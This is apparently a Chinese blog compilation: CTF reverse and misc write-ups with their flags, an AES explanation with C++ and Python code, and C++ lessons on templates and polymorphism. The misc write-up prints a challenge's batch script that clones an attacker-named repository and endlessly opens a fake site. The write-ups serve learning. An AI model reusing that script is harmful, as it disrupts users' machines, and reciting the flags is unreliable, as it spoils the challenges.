但其实只需要动态调试，在 flag 判断处下断点，然后将密文 GAPNkFl^PJGQJ_YHEEx~d 作为输入，中断时查看 Str1 的值，即可得到 flag 为 FCTF{WeLCOME_TO_FCtf}

Note

为什么？

如果去看 sub_41127B() 初始化函数，会发现所有编译时数组的数据均为 0！也就是说，程序根本没有构建二叉树。加密算法退化为纯异或的对称加密，本质上和 easy re 相同。

官方给的源码中的二叉树编码本身就是对称的。算法主体就是和 easy re 相同的异或加密，只是密钥变成了二叉树的节点值。由于生成的二叉树固定，因此简单地复用机密函数即可解密。

Reverse - solo#

Background

数学中的逻辑游戏 —得到的flag请加上FCTF{}

DIE 查一查：

无壳 64 位，拖 IDA：

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  char Str1[112]; // [rsp+20h] [rbp-80h] BYREF
4
  char flag[16]; // [rsp+90h] [rbp-10h] BYREF
5

6
  _main();
7
  puts("scanf U answer");
8
  scanf("%s", Str1);
9
  solve_sudoku(board);
10
  extract_flag(board, flag);
11
  if ( !strcmp(Str1, flag) )
12
    puts("Success");
13
  else
14
    puts("No solution exists");
15
  system("pause");
16
  return 0;
17
}

然后下断点动调，看一下 flag 就行。对，就这么简单，因为这个程序不需要你来解这个数独 (sudoku)，程序自己已经解好了。extract_flag 也只和已经解出的数独有关。

flag为：FCTF{I_LK_SDK}

Misc - 溯#

Background

Satoru：[嘿，兄弟，听说你卡在这关了？我这儿有个好东西，CTF_ALL_IN_ONE.bat，一键通关，要不要试试？]

Wells犹豫了一下，但疲惫和求胜心最终战胜了理智。他点击了下载链接。

文件解压后，他双击运行了那个神秘的批处理脚本。屏幕闪烁了一下，命令行窗口飞速滚动，然后——

黑屏。

“什么情况？！”Wells猛地拍了下键盘，但已经晚了。他的电脑突然弹出一堆错误提示，桌面上所有的CTF工具包全部被删除，取而代之的是一堆cmd弹窗：

“Thanks for the free shell! - Satoru”

他这才意识到——自己被骗了。

愤怒的Wells发送了一千封垃圾邮件，誓要爆破Satoru的校园邮箱

请你根据数据包取证Satoru的恶意批处理脚本，并根据此进一步追踪溯源，发掘两人的交互流程

用 Wireshark（大蓝鲨）打开所给的数据包，然后导出 HTTP 对象（文件 > 导出对象 > HTTP…），查看该分组下的 Hypertext Transfer Protocol 信息，得到 [Full request URI: http://47.120.51.45/files/]，通过这个 URI 就可以下载题目所说的 CTF_ALL_IN_ONE.bat了。

打开这个 bat 文件：

Terminal window

1
@echo off
2
git clone https://github.com/Sat0ruG0jo/LetsEnjoyAttack.git
3
git
4

5
:: 无限循环弹出原神官网
6
:loop
7
start "" "https://www.bilibil.com"
8
timeout /t 1 > nul
9
goto loop

发现这个 bat 会自动 clone 一个 GitHub 仓库。

这真的是弹出原！神！官网吗，我只看到了一个错版 bilibili 网站，还以为这东西有猫腻呢，然后 WHOIS 一查居然是 2011 年的 ldx（

追踪这个仓库及其所有者。

LetsEnjoyAttack 这个仓库没有什么价值，无论是内容、提交记录还是 Issues 等都干干净净，于是查看所有者的 GitHub 主页及其他仓库。

在 SatoruDaily0.0 下有两个 Issues，正是我们的解密关键。

首先看 Daily1 - Issue #1，Satoru 给了一张站台图片，并有提示：请 CTFer 找出这趟地铁的线路，这将作为获取 Flag 必不可少的一环，例如（A1）

图片放大后：

可以辨认出线路站点名。通过搜索关键词，得知这是南京地铁 S8 号线。

然后是最终的 Issue #2，给了 Wells 发来的邮件内容：

Dear Friend , Especially for you - this breath-taking news ! This is a one time mailing there is no need to request removal if you won’t want any more . This mail is being sent in compliance with Senate bill 2116 ; Title 3 , Section 303 ! This is a ligitimate business proposal ! Why work for somebody else when you can become rich inside 96 WEEKS . Have you ever noticed nearly every commercial on television has a .com on in it and people love convenience ! Well, now is your chance to capitalize on this . We will help you decrease perceived waiting time by 140% and use credit cards on your website ! The best thing about our system is that it is absolutely risk free for you ! But don’t believe us ! Prof Jones of Indiana tried us and says “I was skeptical but it worked for me” . We assure you that we operate within all applicable laws . You will blame yourself forever if you don’t order now . Sign up a friend and you’ll get a discount of 10% ! Thank-you for your serious consideration of our offer !

和 flag 提示：

请CTFer开动脑筋，将LittleWells的密文解开陪Satoru一起感受Wells的愤怒也是计划的一部分：) FLAG格式FCTF{github账户缩写_地铁线路_垃圾邮件解密缩写} 缩写指仅保留大写字母喵

这份邮件是一种典型的垃圾邮件 (SpamEmail)。通过搜索“垃圾邮件解密缩写”，我找到了一篇文章 CTF Misc隐写术原理和工具-先知社区，里面恰好有提到基于这类垃圾邮件的加密方式，并有一个加解密网站 spammimic。

用该网站解密邮件，得到明文 HowDareYou。

综合所有信息，得到 flag：FCTF{SG_S8_HDY}

Reverse - jump#

Background

简单的jump —得到的flag请加上FCTF{}

对我来说挺难的（

有两处花指令，需要嗯看汇编把花指令搞掉才能让 IDA 反编译出两个加密函数。

怪东西

我要采一朵花，送给 REer REer、REer 你看有花～🤓 函数认完了没有😡 啊啊啊啊啊啊，我只是想让你看看这花很好看而已啊😭

先用 DIE 查一下

无壳 32 位，拖进 IDA：

1
int __cdecl main_0(int argc, const char **argv, const char **envp)
2
{
3
  FILE *v3; // eax
4
  char v5; // [esp+0h] [ebp-19Ch]
5
  char v6; // [esp+0h] [ebp-19Ch]
6
  size_t v7; // [esp+10h] [ebp-18Ch]
7
  int v8; // [esp+DCh] [ebp-C0h]
8
  int v9; // [esp+E8h] [ebp-B4h]
9
  char *v10; // [esp+F4h] [ebp-A8h]
10
  size_t Size; // [esp+100h] [ebp-9Ch]
11
  char *Destination; // [esp+10Ch] [ebp-90h]
12
  char Buffer[7]; // [esp+130h] [ebp-6Ch] BYREF
13
  char v14[97]; // [esp+137h] [ebp-65h] BYREF
14

15
  __CheckForDebuggerJustMyCode(&unk_41C009);
16
  sub_4110DC("LET'S GO!!!\n", v5);
17
  v3 = _acrt_iob_func(0);
18
  fgets(Buffer, 100, v3);
19
  v7 = strcspn(Buffer, "\n");
20
  if ( v7 >= 0x64 )
21
    j____report_rangecheckfailure();
22
  Buffer[v7] = 0;
23
  Destination = (char *)malloc(8u);
24
  strncpy_s(Destination, 8u, Buffer, 7u);
25
  Destination[7] = 0;
26
  Size = j_strlen(Buffer) - 7 + 1;
27
  v10 = (char *)malloc(Size);
28
  strcpy_s(v10, Size, v14);
29
  v9 = sub_411361(Destination, 4);
30
  v8 = sub_4110BE(v10);
31
  if ( v9 == 1 && v8 == 1 )
32
    sub_4110DC("right\n", v6);
33
  else
34
    sub_4110DC("Nooooo\n", v6);
35
  free(Destination);
36
  free(v10);
37
  system("pause");
38
  return 0;
39
}

展开收起

主要是两个 flag 校验函数 sub_411361 和 sub_4110BE。

但是，sub_411361：

1
// attributes: thunk
2
void __cdecl sub_411361(int a1, int a2)
3
{
4
  JUMPOUT(0x4117E0);
5
}

sub_4110BE：

1
// attributes: thunk
2
void __cdecl sub_4110BE(int a1)
3
{
4
  JUMPOUT(0x411930);
5
}

均出现 JUMPOUT，说明有脏东西干扰了 IDA 的识别，此时必须从汇编入手，让 IDA 能够识别出正常函数。

先分析 sub_411361。跳转到 0x4117E0 地址：

旁边的地址都是标红的，说明 IDA 无法判断函数的起始位置，需要我们来指定。

loc_41180A 调用的内存地址在 32 位机器上根本无法使用。对 loc_41180A 按 D 键将其强行视为数据而非代码（也可以直接 nop 掉），然后选择 loc_4117E0 到 loc_411803 这一段按 P 键确定反编译函数范围。

Tip

实际上，这是指令跳转到了一个误识别的指令内部（偏移值为 2，如果 loc_41180A 对应的指令是完整的，不会有这个偏移值）。请参考本站的花指令。

对 sub_4117E0 按 F5 反编译即可得到赏心悦目的伪代码：

1
BOOL __cdecl sub_4117E0(char *Str1, int a2)
2
{
3
  char v3; // [esp+Fh] [ebp-E5h]
4
  int i; // [esp+E0h] [ebp-14h]
5

6
  for ( i = 0; Str1[i]; ++i )
7
  {
8
    if ( isalpha(Str1[i]) )
9
    {
10
      if ( islower(Str1[i]) )
11
        v3 = 97;
12
      else
13
        v3 = 65;
14
      Str1[i] = ((a2 + Str1[i] - v3) % 26 + v3) ^ 5;
15
    }
16
  }
17
  return j_strcmp(Str1, Str2) == 0;
18
}

（复现得到的伪代码比我比赛时瞎搞出来的伪代码质量高了不知道有多少……）

查看 Str2，这是第一部分的 flag 密文：Vq}ht`u

对 sub_4110BE 如法炮制

得到：

1
BOOL __cdecl sub_411930(char *Str)
2
{
3
  char v2; // [esp+D3h] [ebp-29h]
4
  int i; // [esp+DCh] [ebp-20h]
5
  signed int v4; // [esp+E8h] [ebp-14h]
6

7
  v4 = j_strlen(Str);
8
  for ( i = 0; i < v4 / 2; ++i )
9
  {
10
    v2 = Str[i];
11
    Str[i] = Str[v4 - 1 - i];
12
    Str[v4 - 1 - i] = v2;
13
  }
14
  return j_strcmp(Str, aRpR1muj2) == 0;
15
}

查看 aRpR1muj2，这是 flag 的第二部分密文：rpr1muj2

接下来就可以拿着代码去问 AI 了。

flag 为：FCTF{Op}im`l_2jum1r_pr}

Warning

如果使用 AI，请务必让它正向验证，尤其是 sub_4117E0。在我的复现过程中，虽然伪代码的质量更高，但 DeepSeek 给出的答案却是错误的。

也可以通过动态调试，用任意例子验证并修正算法，在比赛过程中 DeepSeek 有要求这一点。由于复现的伪代码比较完整，它没有要求动调验证。

Tip

学习了IDA类型修复后，这道题目的逆向结果还可以更加完美。

CPP-Week7

Tue, 29 Apr 2025 13:55:15 GMT

Note

内容调整中……

AES加密算法

Sun, 27 Apr 2025 15:14:10 GMT

Note

最近看到了一个比较浅显易懂的 AES 介绍视频：（只用加法乘法）手撕美国AES高级加密标准过程，比较好看进去，但是可能有错误。以及一个博客，讲解思路与之类似：AES算法详解

1. 理论介绍#

AES（Advanced Encryption Standard，高级加密标准）是一种经典的块加密算法，用以取代 DES (Data Encryption Standard)。现在，AES 已经成为对称加密算法中最流行的算法之一。

AES 的明文区块长度固定为 128 bits（16 字节），密钥长度则可以是 128、192 或 256 bits，根据密钥长度的不同将 AES 分为 AES-128、AES-192 和 AES-256，加密轮数分别为 10 轮、12 轮和 14 轮。加密过程中使用的轮密钥是由 Rijndael密钥生成方案产生的。如果明文长度不是区块长度的整数倍，则必须使用填充将其填充到整数倍，一种主流的填充方法是 PKCS #7。

AES加密过程是在一个 4×4 的字节矩阵上运行的，这个矩阵又称为“体 (state)”，其初值就是一个明文区块（矩阵中一个元素大小就是明文区块中的一个 byte，即 8 bits）。

（来源：AES - CTF Wiki）

一般来讲，我们会使用十六进制对明文进行编码。

AES 每轮的加密主要分为 4 个操作：

字节替换 (SubBytes)
行移位 (ShiftRows)
列混淆 (MixColumns)
轮密钥加 (AddRoundKey)

其中，进行第一轮加密前，需要进行一次“轮密钥加”以生成第一轮加密所需的输入；最后一轮仅不执行“列混淆”操作。

（来源：[原创]128位AES加密算法图解 - 看雪，注意上面的列混淆的矩阵乘法等号左边的列向量应该在右边。）

1.0 种子密钥加#

其实是就是轮密钥加，可以往后面看看。这里是把明文矩阵和种子密钥异或得到第一轮的状态矩阵。

1.1 字节替换#

简单说就是一个映射操作，以防止出现重复元素。

如上图，a[0,0] 是 0x12，查 S 盒 [1,2] 处得到 0xC9；a[0,1] 是 0xAB，查 S 盒 [A,B] 处，也就是 [10,11]，得到 0x62。

如果是逆 S 盒，那方法也相同，以 0xC9 为例，查逆 S 盒 [C,9] 即 [13,9]，对应表中值为 0x12。

1.2 行移位#

行位移将输入的数据作为一个 4x4 矩阵进行处理，可以理解为左循环位移操作。

正向行位移，第一行保持不变，第二行左移 1 字节，第三行左移 2 字节，第四行左移 3 字节

逆向行位移，第一行保持不变，第二行右移 1 字节，第三行右移 2 字节，第四行右移 3 字节

1.3 列混淆#

列混合变换就是矩阵相乘，行位移后的矩阵和修补矩阵 (fixed matrix) 做矩阵相乘，得出输出列。修补矩阵是固定的。

813468_UES487VAAZPKDFS

解密时，逆向列混淆的修补矩阵与正向列混淆的修补矩阵互为逆矩阵。

813468_ZCDXZKFMZA7K9SD

1.4 轮密钥加#

根据传入的轮数，将本轮列混淆后的加密结果与对应的轮密钥 k 异或。

在 AES (step-by-step) 可以看到每一轮加密的示例过程。

1.5 轮密钥生成#

每轮的轮密钥是以种子密钥为基础生成的，称为密钥扩展 (KeyExpansion)。密钥扩展按列计算，每四列构成一个轮密钥。进行 NNN 轮加密就需要 NNN 个轮密钥，最终得到 4(N+1)4(N+1)4(N+1) 列密钥（因为包含了种子密钥）

令种子密钥的第一列为第 0 列，按升序排序。

如果列数不是 4 的倍数，那么计算公式为：

Rowi=Rowi−4⊗Rowi−1Row_{i}=Row_{i-4}⊗Row_{i-1}Rowi=Rowi−4⊗Rowi−1

如果列数是 4 的倍数，计算公式会复杂一点：

首先，将 Rowi−1Row_{i-1}Rowi−1 的最上方的元素放到该列最后的元素之后，使用 S 盒进行字节替换，得到 Rowi−1′Row'_{i-1}Rowi−1′。

然后按照下面的公式计算列：

Rowi=Rowi−1⊗Rowi−1′⊗ConstRowi4Row_{i}=Row_{i-1}⊗Row'_{i-1}⊗ConstRow_{\frac{i}{4}}Rowi=Rowi−1⊗Rowi−1′⊗ConstRow4i

其中 ConstRowConstRowConstRow 是给定的轮常量。

2. C++ 实现 (AES-256)#

Note

C++ AES-256 Encryption: Implementation Guide & Code

FIPS 197（AES 标准文档）

2.1 常量定义#

首先，定义必要的常量和映射表。

1
#include <iostream>
2
#include <vector>
3
#include <array>
4

5
// Define constants for AES-256
6
const int AES_BLOCK_SIZE = 16; // Block size in bytes (128 bits)
7
const int AES_KEY_SIZE_256 = 32; // Key size for AES-256 in bytes (256 bits)
8
const int AES_ROUNDS_256 = 14; // Number of rounds for AES-256
9

10
// S-box (Substitution Box) - Precomputed.
11
const std::array<unsigned char, 256> sbox = {
12
 // 0     1     2     3     4     5     6     7     8     9     A     B     C     D     E     F
13
    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, // 0
14
    0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, // 1
15
    0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, // 2
16
    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, // 3
17
    0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, // 4
18
    0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, // 5
19
    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, // 6
20
    0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, // 7
21
    0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, // 8
22
    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, // 9
23
    0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, // A
24
    0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, // B
25
    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, // C
26
    0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, // D
27
    0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, // E
28
    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16  // F
29
};
30

31
// Rcon (Round Constant) for Key Expansion
32
const std::array<unsigned char, 15> Rcon = {
33
    0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a
34
};

展开收起

2.2 操作辅助函数#

1
// Helper function for byte substitution using S-box
2
unsigned char SubBytes_single(unsigned char byte) {
3
    return sbox[byte];
4
}
5

6
// Helper function for XORing byte arrays
7
void xor_bytes(unsigned char *a, const unsigned char *b, int len) {
8
    for (int i = 0; i < len; ++i) {
9
        a[i] ^= b[i];
10
    }
11
}
12

13
// Helper function for left rotation of a 32-bit word (used in Key Expansion)
14
unsigned int rotWord(unsigned int word) {
15
    return (word << 8) | (word >> 24);
16
}
17

18
// Helper function for applying S-box to a 32-bit word (used in Key Expansion)
19
unsigned int subWord(unsigned int word) {
20
    unsigned char bytes[4];
21
    for (int i = 0; i < 4; ++i) {
22
        bytes[i] = SubBytes_single((word >> (8 * (3 - i))) & 0xFF);
23
    }
24
    unsigned int result = 0;
25
    for (int i = 0; i < 4; ++i) {
26
        result = (result << 8) | bytes[i];
27
    }
28
    return result;
29
}
30

31
// Helper function for converting byte array to state matrix (4x4)
32
void bytesToState(const unsigned char *in, unsigned char state[4][4]) {
33
    for (int i = 0; i < 4; ++i) {
34
        for (int j = 0; j < 4; ++j) {
35
            state[j][i] = in[i * 4 + j];
36
        }
37
    }
38
}
39

40
// Helper function for converting state matrix to byte array
41
void stateToBytes(const unsigned char state[4][4], unsigned char *out) {
42
    for (int i = 0; i < 4; ++i) {
43
        for (int j = 0; j < 4; ++j) {
44
            out[i * 4 + j] = state[j][i];
45
        }
46
    }
47
}

展开收起

2.3 密钥扩展实现#

1
// Key Expansion for AES-256
2
void KeyExpansion(const unsigned char *key, unsigned int *roundKeys) {
3
    unsigned int temp;
4
    unsigned int w[60]; // Word array to store expanded key. AES-256 requires 60 words (4 bytes each)
5

6
    // 1. Copy the initial key into the first Nk words of w. Nk = key size in 32-bit words. For AES-256, Nk = 8 (256 bits / 32 bits/word).
7
    for (int i = 0; i < 8; ++i) {
8
        w[i] = (key[4 * i] << 24) | (key[4 * i + 1] << 16) | (key[4 * i + 2] << 8) | key[4 * i + 3];
9
    }
10

11
    // 2. Generate remaining words
12
    for (int i = 8; i < 60; ++i) { // Generate up to Nr+1 round keys (Nr = 14 for AES-256, so we need 15 keys = 60 words)
13
        temp = w[i - 1];
14
        if (i % 8 == 0) { // For every Nk-th word (every 8th word for AES-256)
15
            temp = subWord(rotWord(temp)) ^ Rcon[(i / 8) - 1]; // Apply RotWord, SubWord, and XOR with Rcon
16
        } else if (i % 8 == 4) { // For AES-256 only, apply SubWord on every Nk/2-th word (every 4th word) starting from w[4] and onwards. Not needed for AES-128 or AES-192
17
            temp = subWord(temp);
18
        }
19
        w[i] = w[i - 8] ^ temp; // XOR with the word 8 positions back
20
    }
21

22
    // 3. Copy expanded key words into roundKeys array (each round key is 128-bits = 4 words)
23
    for (int i = 0; i < 15; ++i) { // 15 round keys (initial + 14 rounds)
24
        roundKeys[i * 4 + 0] = w[i * 4];
25
        roundKeys[i * 4 + 1] = w[i * 4 + 1];
26
        roundKeys[i * 4 + 2] = w[i * 4 + 2];
27
        roundKeys[i * 4 + 3] = w[i * 4 + 3];
28
    }
29
}

展开收起

3. 逆向#

我们说了这么多原理，但是如何解决 AES 呢？

实际上，AES 仍是一个对称加密算法，因此只要获得密文和种子密钥就可以得到明文：

Example

GWCTF 2019 - re3 Self-Modified Code

1
from Crypto.Cipher import AES
2
from Crypto.Util.number import *
3

4
key = bytes.fromhex('cb8d493521b47a4cc1ae7e62229266ce')
5
cipher_text = bytes.fromhex('BC0AADC0147C5ECCE0B140BC9C51D52B46B2B9434DE5324BAD7FB4B39CDB4B5B')
6
plain_text = AES.new(key, AES.MODE_ECB).decrypt(cipher_text)
7
print(plain_text)
8
# flag{924a9ab2163d390410d0a1f670}

CPP-Week6

Wed, 16 Apr 2025 20:13:42 GMT

Lesson10 模板#

在之前，如果想实现同名函数的不同版本共存，我们通常使用重载函数来实现。然而，基本参数类型有很多，再加上用户自定义类型，要维护这些重载函数绝非易事。（Note：还记得“酒吧的炒饭”吗？）

直到现在，我们依然缺乏一种通用函数方法，使之可以兼容任何传入的参数类型。而 C++ 的模板 (template) 就是为了解决这类通用问题而生的。

在 C++ 中，模板系统是用来简化创建能够处理不同数据类型的函数（或类）的过程。我们不需要创建一大堆非常相似的函数或类，只需要创建一个单独的模板。

和正常定义一样，模板定义了函数和类的样子。但与前者不同的是，模板使用了占位符类型 (placeholder type)。占位符类型在模板定义时未知，在使用时确定实际类型后才填入。

一旦定义了模板，编译器就可以使用该模板生成所需的重载函数（或类）。换句话说，我们将创建重载函数的工作交给了编译器，让它根据我们设置的规则（模板）结合实际类型来创建对应的重载函数（或类）。

由于实际类型在模板使用时才确定，因此模板代码可以和定义时尚未存在的类型一起使用。这赋予了程序灵活性，有助于应对未来的需求变化。

10.1 函数模板#

函数模板 (function template) 是一种类似于一般函数的定义，用于生成具有不同函数类型的重载函数。用于生成其他函数的初始函数模板称为主要模板 (primary template)，从主要模板生成的函数称为实例化函数 (instantiated function)。

当我们创建一个主要函数模板时，我们先定义一个占位符类型（也称为类型模板参数 (type template parameter)，或模板类型 (template type)，或泛型类型 (generic type)）来表示任何参数类型、返回类型或函数体中使用的类型，这些类型将在稍后由模板的使用者指定。

要创建函数模板很简单：

1
template <typename T> // this is the template parameter declaration defining T as a type template parameter
2
T max(T x, T y) // this is the function template definition for max<T>
3
{
4
    return (x < y) ? y : x;
5
}

在我们的模板参数声明中，我们首先使用关键字 template，这告诉编译器我们正在创建一个模板。接下来，我们指定模板将使用的所有模板参数，这些参数位于尖括号 <> 内。对于每个类型模板参数，我们使用关键字 typename（推荐）或 class，后跟类型模板参数的名称（例如 T ）。

当模板参数以简单或明显的方式使用时，通常使用单个大写字母（从 T 开始）。

我们不需要给 T 赋予一个复杂的名称，如果类型模板参数有非显而易见的用法或必须满足的特定要求，此类名称通常有两种常见的约定：

以大写字母开头（例如 Allocator ）标准库使用这种命名约定。
前缀为 T ，然后以大写字母开头（例如 TAllocator ）。这使得更容易看出类型是一个模板参数类型。

可以创建同时具有模板参数和非模板参数的函数模板。类型模板参数可以与任何类型匹配，而非模板参数则像常规函数的参数一样工作。

1
template <typename T>
2
int someFcn(T, double)
3
{
4
    return 5;
5
}

10.1.1 使用函数模板#

要使用我们的 `max 函数模板，我们可以使用以下语法进行函数调用：

1
max<actual_type>(arg1, arg2); // actual_type is some actual type, like int or double

这看起来很像一个普通的函数调用——主要区别是添加了尖括号中的类型，它指定了将用于替换模板类型 T 的实际类型。

1
std::cout << max<int>(1, 2) << '\n'; // instantiates and calls function max<int>(int, int)

当编译器遇到函数调用 max<int>(1, 2) 时，它发现 max<int>(int, int) 的函数定义尚未存在。因此，编译器将隐式地使用 max<T> 函数模板来创建一个。

从函数模板（具有模板类型）创建函数（具有特定类型）的过程称为函数模板实例化 (function template instantiation)。当一个函数由于函数调用而实例化时，它被称为隐式实例化 (implicit instantiation)。从模板实例化的函数通常称为函数实例 (function instance)。函数实例在所有方面都是普通函数。

实例化函数的过程很简单：编译器基本上是克隆了主模板，并将模板类型 T 替换为我们指定的实际类型 int。

因此，当我们调用 max<int>(1, 2) 时，实例化的函数看起来就像这样：

1
int max<int>(int x, int y) // the generated function max<int>(int, int)
2
{
3
    return (x < y) ? y : x;
4
}

在大多数情况下，我们想要实例化的实际类型将与我们的函数参数类型相匹配。在这种情况下，我们不需要指定实际类型——相反，我们可以使用模板参数推导 (template argument deduction)，让编译器从函数调用中的参数类型推导出应该使用的实际类型。

1
std::cout << max<>(1, 2) << '\n';
2
std::cout << max(1, 2) << '\n';

编译器会看到我们没有提供实际类型，因此它将尝试从函数参数中推断出来，以便生成一个所有模板参数都与提供的参数类型匹配的 max() 函数。在这个例子中，编译器将推断出使用函数模板 max<T> 和实际类型 int 可以使其实例化函数 max<int>(int, int)，这样函数参数的类型就与提供的参数的类型相匹配。

在上一种情况（使用空尖括号）中，编译器在确定要调用哪个重载函数时，只会考虑 max<int> 模板函数重载。在下一种情况（没有尖括号）中，编译器将考虑 max<int> 模板函数重载和 max 非模板函数重载。当下一种情况导致模板函数和非模板函数都同样可行时，将优先选择非模板函数。

为什么优先调用非模板函数

一个非模板函数只处理特定类型的组合。它可能有一个比函数模板版本更优化或更针对那些特定类型的实现。

在大多数情况下，我们将使用正常的函数调用语法（即 max(1, 2)）来调用从函数模板实例化的函数。

实例化函数不总是能通过编译。例如：

1
template <typename T>
2
T addOne(T x)
3
{
4
    return x + 1;
5
}
6

7
int main()
8
{
9
    std::string hello { "Hello, world!" };
10
    std::cout << addOne(hello) << '\n';
11

12
    return 0;
13
}

hello + 1 没有意义，于是编译错误。

编译器只要在语法上合理，就能成功编译实例化的函数模板。然而，编译器并没有任何方法来检查这样的函数在语义上是否合理。

1
#include <iostream>
2

3
template <typename T>
4
T addOne(T x)
5
{
6
    return x + 1;
7
}
8

9
int main()
10
{
11
    std::cout << addOne("Hello, world!") << '\n';
12

13
    return 0;
14
}

给一个字符串字面量加 1，有什么意义？但 C++ 在语法上允许将整数值添加到字符串字面量中（指针魅力时刻），于是编译通过，输出：

Terminal window

1
ello, world!

程序从下标 1 开始输出，换句话说，字符串被转化成指针使用。

Warning

确保你调用函数模板时使用有意义的参数，这是你的责任。

当在函数模板中使用静态局部变量时，从该模板实例化的每个函数都将有一个独立的静态局部变量版本。

1
template <>
2
void printIDAndValue<int>(int value)
3
{
4
    static int id{ 0 };
5
    std::cout << ++id << ") " << value << '\n';
6
}
7

8
template <>
9
void printIDAndValue<double>(double value)
10
{
11
    static int id{ 0 };
12
    std::cout << ++id << ") " << value << '\n';
13
}

printIDAndValue<int> 和 printIDAndValue<double> 各自都有一个名为 id 的独立静态局部变量，而不是它们之间共享的变量。printIDAndValue<int> 中的 ++id 不会影响 printIDAndValue<double> 中的 id 的值。

Tip

一个很好的经验法则是首先创建普通函数，然后如果你发现你需要为不同参数类型创建重载，再将其转换为函数模板。

10.1.2 具有多个模板类型的函数模板#

在上面的函数模板中，一个 T 仅对应一种参数类型，不能同时对应两种及以上的类型。

比如，max(2, 3.5) 就无法通过编译。编译器找不到 max(int, double) 的非模板匹配，也无法找到 max<T>(T, T) 的模板匹配。

有的人会认为：编译器也可以先匹配 max<double>(double, double)，再通过类型转换解析为 max(int, double)，但显然编译器没有这么做。为什么？因为类型转换只在解析函数重载时进行，而不是在执行模板参数推导时进行。

限制类型转换有它的理由。首先是为了保证参数匹配的简单：要么完全匹配，要么不匹配，没有中间态。其次，它允许我们为需要确保两个或多个参数具有相同类型的情况创建函数模板。

有两种方法解决这种问题。一是显式指定函数模板参数类型，即 max<double>(2, 3.5)，因为我们明确指定 T 应替换为 double ，编译器不会使用模板参数推导。相反，它会直接实例化函数 max<double>(double, double) ，然后对任何不匹配的参数进行类型转换。我们的 int 参数将被隐式转换为 double。但这个方案并不优雅。

另一种更好的方法是声明多个模板参数类型：

CPP-Week5

Wed, 16 Apr 2025 20:06:59 GMT

Lesson9 多态#

9.1 指向派生对象基类的指针和引用#

我们可以设置直接指向派生对象的指针和引用，这是符合直觉的。

1
Derived derived{ 5 };
2
Derived& rDerived{ derived }; // reference
3
Derived* pDerived{ &derived }; // pointer

但在之前的学习中，我们知道派生类实际上是由基类部分和派生类部分组成的，那么我们可不可以设置一个指向派生类的基类指针或引用呢？

确实可以：

1
Derived derived{ 5 };
2

3
// These are both legal!
4
Base& rBase{ derived }; // rBase is an lvalue reference (not an rvalue reference)
5
Base* pBase{ &derived };

Note

您可以使用指向派生类对象的指针或引用来代替指向其基类的指针或引用。例如，您可以将指向派生类对象 derived 的指针或引用传递给接收基类 Base 的指针或引用的函数。您不需要使用显式转换来实现这一点；编译器将执行隐式转换。您可以将派生类指针隐式转换为指向可访问且无歧义的基类。您还可以将派生类引用隐式转换为基类引用。

但别高兴过早。这两个引用和指针确实指向派生类，但它们仅仅指向派生类的基类部分。换句话说，它们只能访问 Base 类以及 Base 类的父类（如果有）的成员，Derived 类的派生部分对它们是不存在的。

Warning

不能隐式地将基类对象的指针或引用转换为派生类对象的指针或引用。

为什么我们需要将指针或引用指向基类呢？直接指向派生对象不是更好？

首先，假设你需要一个非成员函数，获取从同一基类派生的派生类属性并打印。如果使用派生类，由于每个派生类的类型必定不同，所以你就需要写大量的重载函数来接收所有可能的派生类。但由于它们的基类相同，因此只需要写一个接收基类类型的指针/引用的函数即可。

另外，如果需要将派生类中同一意义的数据聚合成一个数组，使用派生对象是不可能的，因为类型不同。但由于它们具有同一基类，因此创建一个基类类型的数据即可。

但这又产生一个问题：基类的成员打印函数不能获取派生类的属性！

下一节我们就会介绍解决方案。

9.2 虚函数#

